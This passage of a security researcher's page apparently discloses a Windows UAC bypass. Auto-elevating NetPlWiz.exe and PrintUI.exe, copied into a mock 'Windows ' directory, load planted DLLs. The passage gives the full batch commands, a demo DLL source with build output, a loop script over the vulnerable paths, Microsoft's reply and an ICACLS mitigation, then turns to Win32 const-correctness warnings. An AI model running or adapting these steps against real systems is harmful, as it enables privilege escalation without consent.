CHDIR /D "%SystemRoot%" System32\KTMUtil.exeNote: the command lines can be copied and pasted as blocks into a Command Processor window.
The KTMUTIL utility requires that you have administrative privileges.
Load and execute
NetPlWiz.dll
to display the User Accounts
dialog box:
System32\RunDLL32.exe System32\NetPlWiz.dll,UsersRunDllNote: the TechNet article PassportWizardRunDll documents another (now removed) function of
NetPlWiz.dll
that
Load and execute
PrintUI.dll
to
display a dialog box with the usage instructions of its
PrintUIEntry()
function, as documented in the
TechNet
article
Rundll32 printui.dll,PrintUIEntry:
System32\RunDLL32.exe System32\PrintUI.dll,PrintUIEntry /?
Load and execute
ShUnimpl.dll
to let
RunDLL32.exe
display an error message box:
System32\RunDLL32.exe System32\ShUnimpl.dll,#0Note:
ShUnimpl.dll
is the
graveyardfor obsolete and now unimplemented functions of Windows’
Shellfrom prior versions of Windows NT – to inhibit their use, its
_DllMainCRTStartup()
entry point function intentionally returns FALSE
and
lets the Win32 function
LoadLibrary()
fail with Win32 error code 1114 alias
ERROR_DLL_INIT_FAILED
.
Execute
MMC.exe
to trigger
a (blue) UAC prompt
that shows Verified Publisher: Microsoft Windows
:
System32\MMC.exeNote: the TechNet article Understanding and Configuring User Account Control in Windows Vista provides detailed information not just about the color code.
Execute the auto-elevating
PrintUI.exe
to load
PrintUI.dll
and
display its Printer Settings
dialog box
without triggering a
UAC prompt:
System32\NetPlWiz.exe
Execute the auto-elevating
NetPlWiz.exe
to load
NetPlWiz.dll
and display its User Accounts
dialog box
without triggering a
UAC prompt:
System32\PrintUI.exe
Copy MMC.exe
,
NetPlWiz.exe
and PrintUI.exe
into
an (arbitrary) subdirectory of the systems’ TEMP
directory %SystemRoot%\Temp\
, then execute these copies
to trigger a (now yellow)
UAC prompt that
shows Publisher: Unknown
:
MKDIR Temp\Blunder COPY System32\MMC.exe Temp\Blunder\MMC.exe Temp\Blunder\MMC.exe COPY System32\NetPlWiz.exe Temp\Blunder\NetPlWiz.exe Temp\Blunder\NetPlWiz.exe COPY System32\PrintUI.exe Temp\Blunder\PrintUI.exe Temp\Blunder\PrintUI.exe RMDIR /Q /S Temp\Blunder
1 file(s) copied. 1 file(s) copied. 1 file(s) copied.Note: the digital signatures of almost all files shipped with Windows are not embedded in these files, but stored in separate
catalog files
%SystemRoot%\System32\CatRoot\{00000000-0000-0000-0000-000000000000}\*.cat
,
%SystemRoot%\System32\CatRoot\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\*.cat
and
%SystemRoot%\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\*.cat
,
while an index of the signatures’ hashes is maintained in the
catalog database files
%SystemRoot%\System32\CatRoot2\{00000000-0000-0000-0000-000000000000}\catdb
,
%SystemRoot%\System32\CatRoot2\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\catdb
and
%SystemRoot%\System32\CatRoot2\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\catdb
.
(Not only) UAC
validates these detached digital signatures independent of the
actual file name, and with some exceptions, for example in an
untrusted directory like %SystemRoot%\Temp\
, also
independent of the actual path name.
Create the directory Windows \
in the root directory of
the system drive
, copy
MMC.exe
,
NetPlWiz.exe
and PrintUI.exe
into
it, execute the copy of
MMC.exe
to trigger
a (blue) UAC prompt
that shows Publisher: Unknown
, then execute
NetPlWiz.exe
and PrintUI.exe
to
load
NetPlWiz.dll
and PrintUI.dll
which display their dialog boxes without triggering
a UAC prompt:
MKDIR "%SystemRoot% \" COPY System32\MMC.exe "%SystemRoot% \MMC.exe" START "OUCH!" /WAIT "%SystemRoot% \MMC.exe" COPY System32\NetPlWiz.exe "%SystemRoot% \NetPlWiz.exe" START "OUCH!" /WAIT "%SystemRoot% \NetPlWiz.exe" COPY System32\PrintUI.exe "%SystemRoot% \PrintUI.exe" START "OUCH!" /WAIT "%SystemRoot% \PrintUI.exe"
1 file(s) copied. 1 file(s) copied. 1 file(s) copied.OUCH⁵: due to the bugs of the Win32 functions
FindFirstFile()
,
GetFullPathName()
,
GetLongPathName()
and
GetShortPathName()
demonstrated above, the security theatreUAC misidentifies
%SystemRoot% \
as trusteddirectory and performs
auto-elevation!
Note:
UAC exhibits this
vulnerability (at least) in the directories
%SystemRoot% \
,
%SystemRoot% .\
,
%SystemRoot% . \
, %SystemRoot%. \
,
%SystemRoot% . \
, %SystemRoot%. \
,
%SystemRoot% . \
, %SystemRoot%. \
.
Copy ShUnimpl.dll
as
NetPlWiz.dll
and PrintUI.dll
into the directory Windows \
, then execute the copies
of the auto-elevating
NetPlWiz.exe
and PrintUI.exe
again:
COPY System32\ShUnimpl.dll "%SystemRoot% \NetPlWiz.dll" START "OUCH!" /WAIT "%SystemRoot% \NetPlWiz.exe" System32\CertUtil.exe /ERROR %ERRORLEVEL% COPY System32\ShUnimpl.dll "%SystemRoot% \PrintUI.dll" START "OUCH!" /WAIT "%SystemRoot% \PrintUI.exe" System32\CertUtil.exe /ERROR %ERRORLEVEL%
1 file(s) copied. 0xc0000139 (NT: 0xc0000139 STATUS_ENTRYPOINT_NOT_FOUND) -- 3221225785 (-1073741511) Error message text: {Entry Point Not Found} The procedure entry point %hs could not be located in the dynamic link library %hs. CertUtil: -error command completed successfully. 1 file(s) copied. 0x45a (WIN32: 1114 ERROR_DLL_INIT_FAILED) -- 1114 (1114) Error message text: A dynamic link library (DLL) initialization routine failed. CertUtil: -error command completed successfully.OUCH⁶: (like almost all applications shipped with Windows)
NetPlWiz.exe
and PrintUI.exe
are
vulnerable to
CWE-426: Untrusted Search Path
and
CWE-427: Uncontrolled Search Path Element,
and susceptible to
CAPEC-471: Search Order Hijacking
– they load and execute (at least) an arbitrary
(unsigned)
NetPlWiz.dll
respectively
PrintUI.dll
from their (untrusted and user-writable)
application directory
%SystemRoot% \
instead
from Windows’ system directory
%SystemRoot%\System32\
, allowing arbitrary code
execution with administrative privileges and access rights!
Note: if Microsoft’s developers
were not so careless, clueless and sloppy, their
quality miserability assurance not sound
asleep, and their managers not completely ignorant and incompetent,
they would have read for example the
MSRC
blog post
Load Library Safely,
the MSKB
articles
2389418
and
2533623,
the Security Advisory
2269637,
the MSDN
articles
Dynamic-Link Library Security
and
Dynamic-Link Library Search Order,
then exercised defense in depth
and fixed their crap long ago
to inhibit such attacks!
Note:
NetPlWiz.dll
is a
static (load-time) dependency
of
NetPlWiz.exe
,
and PrintUI.dll
is a
run-time dependency
of PrintUI.exe
.
Note: building a
DLL
that is loaded by
NetPlWiz.exe
or PrintUI.exe
and
executes arbitrary code is left as an exercise to the reader.
�
// Copyright © 2009-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(dllexport)
VOID WINAPI PrintUIEntryW(HWND hWindow,
HINSTANCE hInstance,
LPCSTR lpszCmdLine,
INT nCmdShow)
{
if (!WriteProfileString(L"PrintUI",
L"PrintUIEntryW",
GetCommandLine()))
/* no error handling */;
}
__declspec(dllexport)
VOID WINAPI UsersRunDllW(HWND hWindow,
HINSTANCE hInstance,
LPCSTR lpszCmdLine,
INT nCmdShow)
{
if (!WriteProfileString(L"NetPlWiz",
L"UsersRunDllW",
GetCommandLine()))
/* no error handling */;
}
__declspec(safebuffers)
BOOL WINAPI _DllMainCRTStartup(HMODULE hModule,
DWORD dwReason,
LPVOID lpReserved)
{
DWORD dwModule;
WCHAR szModule[MAX_PATH];
DWORD dwProcess;
WCHAR szProcess[MAX_PATH];
DWORD dwWindows;
WCHAR szWindows[MAX_PATH];
HANDLE hWindows;
DWORD dwOutput;
CHAR szOutput[1024];
if (dwReason != DLL_PROCESS_ATTACH)
return FALSE;
dwModule = GetModuleFileName(hModule,
szModule,
sizeof(szModule) / sizeof(*szModule));
if (dwModule != 0UL)
szModule[dwModule] = L'\0';
else
memcpy(szModule, L"<unknown>", sizeof(L"<unknown>"));
dwProcess = GetModuleFileName((HMODULE) NULL,
szProcess,
sizeof(szProcess) / sizeof(*szProcess));
if (dwProcess != 0UL)
szProcess[dwProcess] = L'\0';
else
memcpy(szProcess, L"<unknown>", sizeof(L"<unknown>"));
dwWindows = GetSystemWindowsDirectory(szWindows,
sizeof(szWindows) / sizeof(*szWindows));
if (dwWindows == 0UL)
return FALSE;
memcpy(szWindows + dwWindows, L"\\blunder.log", sizeof(L"\\blunder.log"));
hWindows = CreateFile(szWindows,
FILE_APPEND_DATA | SYNCHRONIZE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
(LPSECURITY_ATTRIBUTES) NULL,
OPEN_ALWAYS,
FILE_FLAG_WRITE_THROUGH,
(HANDLE) NULL);
if (hWindows == INVALID_HANDLE_VALUE)
return FALSE;
dwOutput = wsprintfA(szOutput,
"Module \'%ls\' loaded at address 0x%p in process \'%ls\'\r\n",
szModule, hModule, szProcess);
if (!WriteFile(hWindows,
szOutput,
dwOutput * sizeof(*szOutput),
&dwWindows,
(LPOVERLAPPED) NULL))
/* no error handling */;
else
if (dwWindows != dwOutput * sizeof(*szOutput))
/* no error handling */;
if (!CloseHandle(hWindows))
/* no error handling */;
return TRUE;
}
�
SET CL=/GAFyz /LD /Oisy /W4 /wd4100 /Zl SET LINK=/EXPORT:PrintUIEntryW /EXPORT:UsersRunDllW /NODEFAULTLIB CL.EXE blunder.c kernel32.lib user32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /EXPORT:PrintUIEntryW /EXPORT:UsersRunDllW /NODEFAULTLIB /out:blunder.dll /dll /implib:blunder.lib blunder.obj kernel32.lib user32.lib Creating library blunder.lib and object blunder.exp
�
COPY /Y NUL: blunder.log COPY /Y …\blunder.dll "%SystemRoot% \NetPlWiz.dll" START "OUCH!" /WAIT "%SystemRoot% \NetPlWiz.exe" COPY /Y …\blunder.dll "%SystemRoot% \PrintUI.dll" START "OUCH!" /WAIT "%SystemRoot% \PrintUI.exe" TYPE blunder.log ERASE blunder.log
Access denied 0 file(s) copied. 1 file(s) copied. 1 file(s) copied. Module 'C:\Windows \NetPlWiz.dll' loaded in process 'C:\Windows \NetPlWiz.exe' Module 'C:\Windows \PrintUI.dll' loaded in process 'C:\Windows \PrintUI.exe' C:\Windows\blunder.log Access denied
Clean up:
RMDIR /Q /S "%SystemRoot% \" EXIT
REM Copyright © 2011-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
IF NOT DEFINED SystemRoot EXIT /B
CHDIR /D "%SystemRoot%"
TITLE Step 0: KTMUtil.exe shows that these commands don't run elevated
System32\KTMUtil.exe
TITLE Step 1: NetPlWiz.dll displays the 'User Accounts' dialog box
System32\RunDLL32.exe System32\NetPlWiz.dll,UsersRunDll
TITLE Step 2: PrintUI.dll displays a dialog box
System32\RunDLL32.exe System32\PrintUI.dll,PrintUIEntry /?
TITLE Step 3: ShUnimpl.dll denies to load, RunDLL32.exe displays an error message box
System32\RunDLL32.exe System32\ShUnimpl.dll,#0
TITLE Step 4: MMC.exe triggers a blue UAC prompt
System32\MMC.exe
TITLE Step 5: NetPlWiz.exe triggers no UAC prompt and auto-elevates, then loads NetPlWiz.dll which displays the 'User Accounts' dialog box
System32\NetPlWiz.exe
TITLE Step 6: PrintUI.exe triggers no UAC prompt and auto-elevates, then loads PrintUI.dll which displays its dialog box
System32\PrintUI.exe
TITLE Step 7: MMC.exe, NetPlWiz.exe and PrintUI.exe trigger a yellow UAC prompt which shows "Publisher: Unknown"
MKDIR Temp\Blunder
COPY System32\MMC.exe Temp\Blunder\MMC.exe
Temp\Blunder\MMC.exe
COPY System32\NetPlWiz.exe Temp\Blunder\NetPlWiz.exe
Temp\Blunder\NetPlWiz.exe
COPY System32\PrintUI.exe Temp\Blunder\PrintUI.exe
Temp\Blunder\PrintUI.exe
RMDIR /Q /S Temp\Blunder
TITLE Step 8: MMC.exe triggers a blue UAC prompt which shows "Verified Publisher: Microsoft Windows"
MKDIR "%SystemRoot% \"
COPY System32\MMC.exe "%SystemRoot% \MMC.exe"
START "OUCH!" /WAIT "%SystemRoot% \MMC.exe"
TITLE Step 9: NetPlWiz.exe triggers no UAC prompt and auto-elevates, then loads NetPlWiz.dll which displays the 'User Accounts' dialog box
COPY System32\NetPlWiz.exe "%SystemRoot% \NetPlWiz.exe"
START "OUCH!" /WAIT "%SystemRoot% \NetPlWiz.exe"
TITLE Step 10: PrintUI.exe triggers no UAC prompt and auto-elevates, then loads PrintUI.dll which displays its dialog box
COPY System32\PrintUI.exe "%SystemRoot% \PrintUI.exe"
START "OUCH!" /WAIT "%SystemRoot% \PrintUI.exe"
TITLE Step 11: NetPlWiz.exe triggers no UAC prompt and auto-elevates, then loads an arbitrary (unsigned) NetPlWiz.dll
COPY System32\ShUnimpl.dll "%SystemRoot% \NetPlWiz.dll"
START "OUCH!" /WAIT "%SystemRoot% \NetPlWiz.exe"
System32\CertUtil.exe /ERROR %ERRORLEVEL%
TITLE Step 12: PrintUI.exe triggers no UAC prompt and auto-elevates, then loads an arbitrary (unsigned) PrintUI.dll
COPY System32\ShUnimpl.dll "%SystemRoot% \PrintUI.dll"
START "OUCH!" /WAIT "%SystemRoot% \PrintUI.exe"
System32\CertUtil.exe /ERROR %ERRORLEVEL%
TITLE Step 13: clean up and exit
RMDIR /Q /S "%SystemRoot% \"
EXIT /B
The KTMUTIL utility requires that you have administrative privileges. 1 file(s) copied. 1 file(s) copied. 1 file(s) copied. 1 file(s) copied. 1 file(s) copied. 1 file(s) copied. 0xc0000139 (NT: 0xc0000139 STATUS_ENTRYPOINT_NOT_FOUND) -- 3221225785 (-1073741511) Error message text: {Entry Point Not Found} The procedure entry point %hs could not be located in the dynamic link library %hs. CertUtil: -error command completed successfully. 1 file(s) copied. 0x45a (WIN32: 1114 ERROR_DLL_INIT_FAILED) -- 1114 (1114) Error message text: A dynamic link library (DLL) initialization routine failed. CertUtil: -error command completed successfully.
REM Copyright © 2014-2025, Stefan Kanthak <stefan.kanthak@nexgo.de> FOR %? IN ("%SystemRoot% " "%SystemRoot% ." "%SystemRoot% . " "%SystemRoot%. " "%SystemRoot% . " "%SystemRoot%. " "%SystemRoot% . " "%SystemRoot%. ") DO ( MKDIR "%~?\" && ( COPY "%SystemRoot%\System32\PrintUI.exe" "%~?\PrintUI.exe" && ( START "OUCH!" /WAIT "%~?\PrintUI.exe" "%SystemRoot%\System32\CertUtil.exe" /ERROR !ERRORLEVEL! COPY "%SystemRoot%\System32\ShUnimpl.dll" "%~?\PrintUI.dll" && ( START "OUCH!" /WAIT "%~?\PrintUI.exe" "%SystemRoot%\System32\CertUtil.exe" /ERROR !ERRORLEVEL!)) RMDIR /Q /S "%~?\"))
system drivefor unprivileged users (really: members of the
NT AUTHORITY\Authenticated Users
or the BUILTIN\Users
groups):
ICACLs.exe "%SystemDrive%\\" /Deny *S-1-5-32-545:(AD,WD) /Remove:d *S-1-5-32-545 /Remove:g *S-1-5-11Note: the paired backslashes are required due to their special treatment in front of a quotation mark.
They replied with the following statements:
Thank you again for your patience during our investigation. The team was performing thorough analysis to ensure we didn't overlook any aspects of your report. Our analysts have completed their assessment, and in our investigation, we have determined that this is a UAC bypass, but only for accounts that already have administrator privileges.Ouch¹: the exploit works without administrator privileges![…]
Based on these results, we do not see a UAC bypass occurring unless the user already has administrator privileges. Based on our bug bar found here - https://aka.ms/windowsbugbar - and the defense-in-depth section of our servicing criteria found here - https://aka.ms/windowscriteria - this does not meet our bar for immediate servicing with a security update. We have opened a tracking bug for the development team, and they may address this in a future release of Windows, but we will not be releasing an update as part of our Patch Tuesday security releases.
I will be closing this case, but we appreciate the opportunity to review your research through coordinated disclosure, and you are free to publish your findings.
Ouch²: in default installations of Windows this UAC bypass can be silently exercised by every unprivileged process that runs in the (primary) user account created during Windows Setup, which Jane and Joe Average typically use for their everyday work!
Ouch³: even if Jane and Joe Average create
and use a secondary (unprivileged) standard user
account they might very likely be fooled by the
blue
UAC prompt that
shows Verified Publisher: Microsoft Windows
.
Note:
UAC (and
SAFER
alias
Software Restriction Policies
too) is the victim here – the vulnerability results from bugs
in the Win32 functions
GetFullPathName()
,
GetLongPathName()
and
GetShortPathName()
coupled with insecure loading of
DLLs!
AdjustTokenPrivileges()
,
CheckTokenMembership()
,
CompareFileTime()
,
ConvertSecurityDescriptorToStringSecurityDescriptor()
,
ConvertSidToStringSid()
,
ConvertStringSecurityDescriptorToSecurityDescriptor()
,
ConvertStringSidToSid()
,
CreateDirectory()
,
CreateEnvironmentBlock()
,
CreateFile()
,
CreateProcess()
,
DestroyEnvironmentBlock()
,
FreeEnvironmentStrings()
,
GetUserObjectSecurity()
,
IsValidAcl()
,
IsValidSecurityDescriptor()
,
IsValidSid()
,
LocalFree()
,
RegisterClass()
,
RegisterClassEx()
,
SetSecurityInfo()
and
SetUserObjectSecurity()
(just to pick a few examples, in alphabetical order) as follows:
BOOL AdjustTokenPrivileges( [in] HANDLE TokenHandle, [in] BOOL DisableAllPrivileges, [in, optional] PTOKEN_PRIVILEGES NewState, [in] DWORD BufferLength, [out, optional] PTOKEN_PRIVILEGES PreviousState, [out, optional] PDWORD ReturnLength );
BOOL CheckTokenMembership( [in, optional] HANDLE TokenHandle, [in] PSID SidToCheck, [out] PBOOL IsMember );
LONG CompareFileTime( [in] const FILETIME *lpFileTime1, [in] const FILETIME *lpFileTime2 );
BOOL ConvertSecurityDescriptorToStringSecurityDescriptor( [in] PSECURITY_DESCRIPTOR SecurityDescriptor, [in] DWORD RequestedStringSDRevision, [in] SECURITY_INFORMATION SecurityInformation, [out] LPTSTR *StringSecurityDescriptor, [out] PULONG StringSecurityDescriptorLen );
BOOL ConvertSidToStringSid( [in] PSID Sid, [out] LPTSTR *StringSid );
BOOL ConvertStringSecurityDescriptorToSecurityDescriptor( [in] LPCTSTR StringSecurityDescriptor, [in] DWORD StringSDRevision, [out] PSECURITY_DESCRIPTOR *SecurityDescriptor, [out] PULONG SecurityDescriptorSize );
BOOL ConvertStringSidToSid( [in] LPCTSTR StringSid, [out] PSID *Sid );
BOOL CreateDirectory( [in] LPCTSTR lpPathName, [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes );
BOOL CreateEnvironmentBlock( [out] LPVOID *lpEnvironment, [in, optional] HANDLE hToken, [in] BOOL bInherit );
HANDLE CreateFile( [in] LPCTSTR lpFileName, [in] DWORD dwDesiredAccess, [in] DWORD dwShareMode, [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes, [in] DWORD dwCreationDisposition, [in] DWORD dwFlagsAndAttributes, [in, optional] HANDLE hTemplateFile );
BOOL CreateProcess( [in, optional] LPCTSTR lpApplicationName, [in, out, optional] LPTSTR lpCommandLine, [in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes, [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes, [in] BOOL bInheritHandles, [in] DWORD dwCreationFlags, [in, optional] LPVOID lpEnvironment, [in, optional] LPCTSTR lpCurrentDirectory, [in] LPSTARTUPINFO lpStartupInfo, [out] LPPROCESS_INFORMATION lpProcessInformation );
BOOL DestroyEnvironmentBlock( [in] LPVOID lpEnvironment );
BOOL FreeEnvironmentStrings( [in] LPTCH penv );
BOOL GetUserObjectSecurity( [in] HANDLE hObj, [in] PSECURITY_INFORMATION pSIRequested, [in, out, optional] PSECURITY_DESCRIPTOR pSID, [in] DWORD nLength, [out] LPDWORD lpnLengthNeeded );
BOOL IsValidAcl( [in] PACL pAcl );
BOOL IsValidSecurityDescriptor( [in] PSECURITY_DESCRIPTOR pSecurityDescriptor );
BOOL IsValidSid( [in] PSID pSid );
HLOCAL LocalFree( [in] HLOCAL hMem );
ATOM RegisterClass( [in] const WNDCLASS *lpWndClass );
ATOM RegisterClassEx( [in] const WNDCLASSEX *unnamedParam1 );
DWORD SetSecurityInfo( [in] HANDLE handle, [in] SE_OBJECT_TYPE ObjectType, [in] SECURITY_INFORMATION SecurityInfo, [in, optional] PSID psidOwner, [in, optional] PSID psidGroup, [in, optional] PACL pDacl, [in, optional] PACL pSacl );
OUCH: except for the properly declared prototypes of the Win32 functionsBOOL SetUserObjectSecurity( [in] HANDLE hObj, [in] PSECURITY_INFORMATION pSIRequested, [in] PSECURITY_DESCRIPTOR pSID );
CompareFileTime()
,
RegisterClass()
and
RegisterClassEx()
shown above, they all fail to specify their
read-only input parameters as const
or
const *
, due to which the Visual C
compiler throws the superfluous warning
C4090
for arguments of type pointer to constant!
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <userenv.h>
#include <shellapi.h>
#include <sddl.h>
#include <aclapi.h>
#define SE_CHANGE_NOTIFY_PRIVILEGE 23UL // "SeChangeNotifyPrivilege"
const TOKEN_PRIVILEGES tp = {ANYSIZE_ARRAY, {SE_CHANGE_NOTIFY_PRIVILEGE, 0L, SE_PRIVILEGE_ENABLED}};
const SID group = {SID_REVISION, ANYSIZE_ARRAY, SECURITY_NT_AUTHORITY, SECURITY_LOCAL_SYSTEM_RID},
owner = {SID_REVISION, ANYSIZE_ARRAY, SECURITY_NT_AUTHORITY, SECURITY_LOCAL_SYSTEM_RID};
typedef struct _ace
{
ACE_HEADER Header;
ACCESS_MASK Mask;
SID Trustee;
} ACE;
const struct _acl
{
ACL acl;
ACE ace;
} dacl = {{ACL_REVISION, 0, sizeof(dacl), 1, 0},
// (A;NP;FA;;;AU)
{{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
FILE_ALL_ACCESS,
{SID_REVISION, ANYSIZE_ARRAY, SECURITY_NT_AUTHORITY, SECURITY_AUTHENTICATED_USER_RID}}},
sacl = {{ACL_REVISION, 0, sizeof(sacl), 1, 0},
// (ML;NP;NRNWNX;;;ME)
{{SYSTEM_MANDATORY_LABEL_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
SYSTEM_MANDATORY_LABEL_NO_EXECUTE_UP | SYSTEM_MANDATORY_LABEL_NO_READ_UP | SYSTEM_MANDATORY_LABEL_NO_WRITE_UP,
{SID_REVISION, ANYSIZE_ARRAY, SECURITY_MANDATORY_LABEL_AUTHORITY, SECURITY_MANDATORY_MEDIUM_RID}}};
const SECURITY_DESCRIPTOR sd = {SECURITY_DESCRIPTOR_REVISION,
0,
SE_DACL_PRESENT | SE_DACL_PROTECTED | SE_SACL_PRESENT | SE_SACL_PROTECTED,
&owner,
&group,
&sacl,
&dacl};
const SECURITY_ATTRIBUTES sa = {sizeof(sa), &sd, FALSE};
const SECURITY_INFORMATION si = DACL_SECURITY_INFORMATION
| GROUP_SECURITY_INFORMATION
| LABEL_SECURITY_INFORMATION
| OWNER_SECURITY_INFORMATION
| SACL_SECURITY_INFORMATION;
const STARTUPINFO st = {sizeof(st)};
const WNDCLASS wc = {0};
const WNDCLASSEX wce = {sizeof(wce)};
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
SECURITY_DESCRIPTOR const *lpSD;
SID const *lpSID;
PROCESS_INFORMATION pi;
FILETIME ft = {0UL, 0UL};
INT nArguments;
BOOL b;
WCHAR sz[] = L".";
DWORD dwSD;
HANDLE h;
LPCWSTR lpBlock;
LPCWSTR lpStrings = GetEnvironmentStrings();
LPCWSTR lpCmdLine = GetCommandLine();
LPCWSTR *lpArguments = CommandLineToArgvW(lpCmdLine, &nArguments);
if (lpArguments != NULL)
LocalFree(lpArguments);
if (lpStrings != NULL)
FreeEnvironmentStrings(lpStrings);
AdjustTokenPrivileges(INVALID_HANDLE_VALUE,
FALSE,
&tp,
sizeof(tp),
(TOKEN_PRIVILEGES *) NULL,
(LPDWORD) NULL);
CheckTokenMembership(NULL,
&owner,
&b);
CompareFileTime(&ft, &ft); // no warning C4090 here!
if (ConvertSecurityDescriptorToStringSecurityDescriptor(&sd,
SDDL_REVISION_1,
si,
&lpStrings,
(LPDWORD) NULL))
LocalFree(lpStrings);
if (ConvertSidToStringSid(&owner,
&lpStrings))
LocalFree(lpStrings);
if (ConvertStringSidToSid(sz, // no warning C4090 here!
&lpSID))
LocalFree(lpSID);
if (ConvertStringSecurityDescriptorToSecurityDescriptor(sz,
SDDL_REVISION_1,
&lpSD,
&dwSD))
LocalFree(lpSD);
if (CreateDirectory(sz, // no warning C4090 here!
&sa))
RemoveDirectory(sz);
if (CreateEnvironmentBlock(&lpBlock,
(HANDLE) NULL,
FALSE))
DestroyEnvironmentBlock(lpBlock);
h = CreateFile(sz, // no warning C4090 here!
MAXIMUM_ALLOWED,
FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE,
&sa,
OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS,
(HANDLE) NULL);
if (h != INVALID_HANDLE_VALUE)
CloseHandle(h);
CreateProcess((LPCWSTR) NULL,
(LPWSTR) NULL,
&sa,
&sa,
FALSE,
CREATE_UNICODE_ENVIRONMENT,
lpStrings,
sz, // no warning C4090 here!
&st,
&pi);
GetUserObjectSecurity(INVALID_HANDLE_VALUE,
&si,
(SECURITY_DESCRIPTOR *) NULL,
0,
&dwSD);
IsValidAcl(&dacl);
IsValidAcl(&sacl);
IsValidSecurityDescriptor(&sd);
IsValidSid(&owner);
IsValidSid(&group);
if (RegisterClass(&wc) != 0U) // no warning C4090 here!
UnregisterClass(wc.lpszClassName,
wc.hInstance);
if (RegisterClassEx(&wce) != 0U)// no warning C4090 here!
UnregisterClass(wce.lpszClassName,
wce.hInstance);
SetSecurityInfo(INVALID_HANDLE_VALUE,
SE_FILE_OBJECT,
si,
&owner,
&group,
&dacl,
&sacl);
SetUserObjectSecurity(INVALID_HANDLE_VALUE,
&si,
&sd);
ExitProcess(nArguments);
}
Note: in order to exercise defensive programming,
all pointers are intentionally defined as const *
– their targets are not (to be) written here!
Run a syntax check on the source file blunder.c
created
in step 1.:
CL.EXE /Zs blunder.c
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
Copyright (C) Microsoft Corporation. All rights reserved.
blunder.c
blunder.c(45) : warning C4090: 'initializing' : different 'const' qualifiers
blunder.c(46) : warning C4090: 'initializing' : different 'const' qualifiers
blunder.c(47) : warning C4090: 'initializing' : different 'const' qualifiers
blunder.c(48) : warning C4090: 'initializing' : different 'const' qualifiers
blunder.c(50) : warning C4090: 'initializing' : different 'const' qualifiers
blunder.c(85) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(88) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(92) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(98) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(103) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(106) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(108) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(110) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(111) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(112) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(115) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(116) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(120) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(122) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(125) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(128) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(131) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(136) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(146) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(147) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(150) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(152) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(156) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(160) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(161) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(162) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(163) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(164) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(177) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(178) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(179) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(180) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(183) : warning C4090: 'function' : different 'const' qualifiers
blunder.c(184) : warning C4090: 'function' : different 'const' qualifiers
OOPS: Was für Plunder!
Run a syntax check on the source file blunder.c
created
in step 1. a second time, now as C++ source:
CL.EXE /TP /Zs blunder.c
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
Copyright (C) Microsoft Corporation. All rights reserved.
blunder.c
blunder.c(45) : error C2440: 'initializing' : cannot convert from 'const SID *' to 'PSID'
Conversion loses qualifiers
blunder.c(46) : error C2440: 'initializing' : cannot convert from 'const SID *' to 'PSID'
Conversion loses qualifiers
blunder.c(47) : error C2440: 'initializing' : cannot convert from 'const _acl *' to 'PACL'
Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or function-style cast
blunder.c(48) : error C2440: 'initializing' : cannot convert from 'const _acl *' to 'PACL'
Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or function-style cast
blunder.c(50) : error C2440: 'initializing' : cannot convert from 'const SECURITY_DESCRIPTOR *' to 'LPVOID'
Conversion loses qualifiers
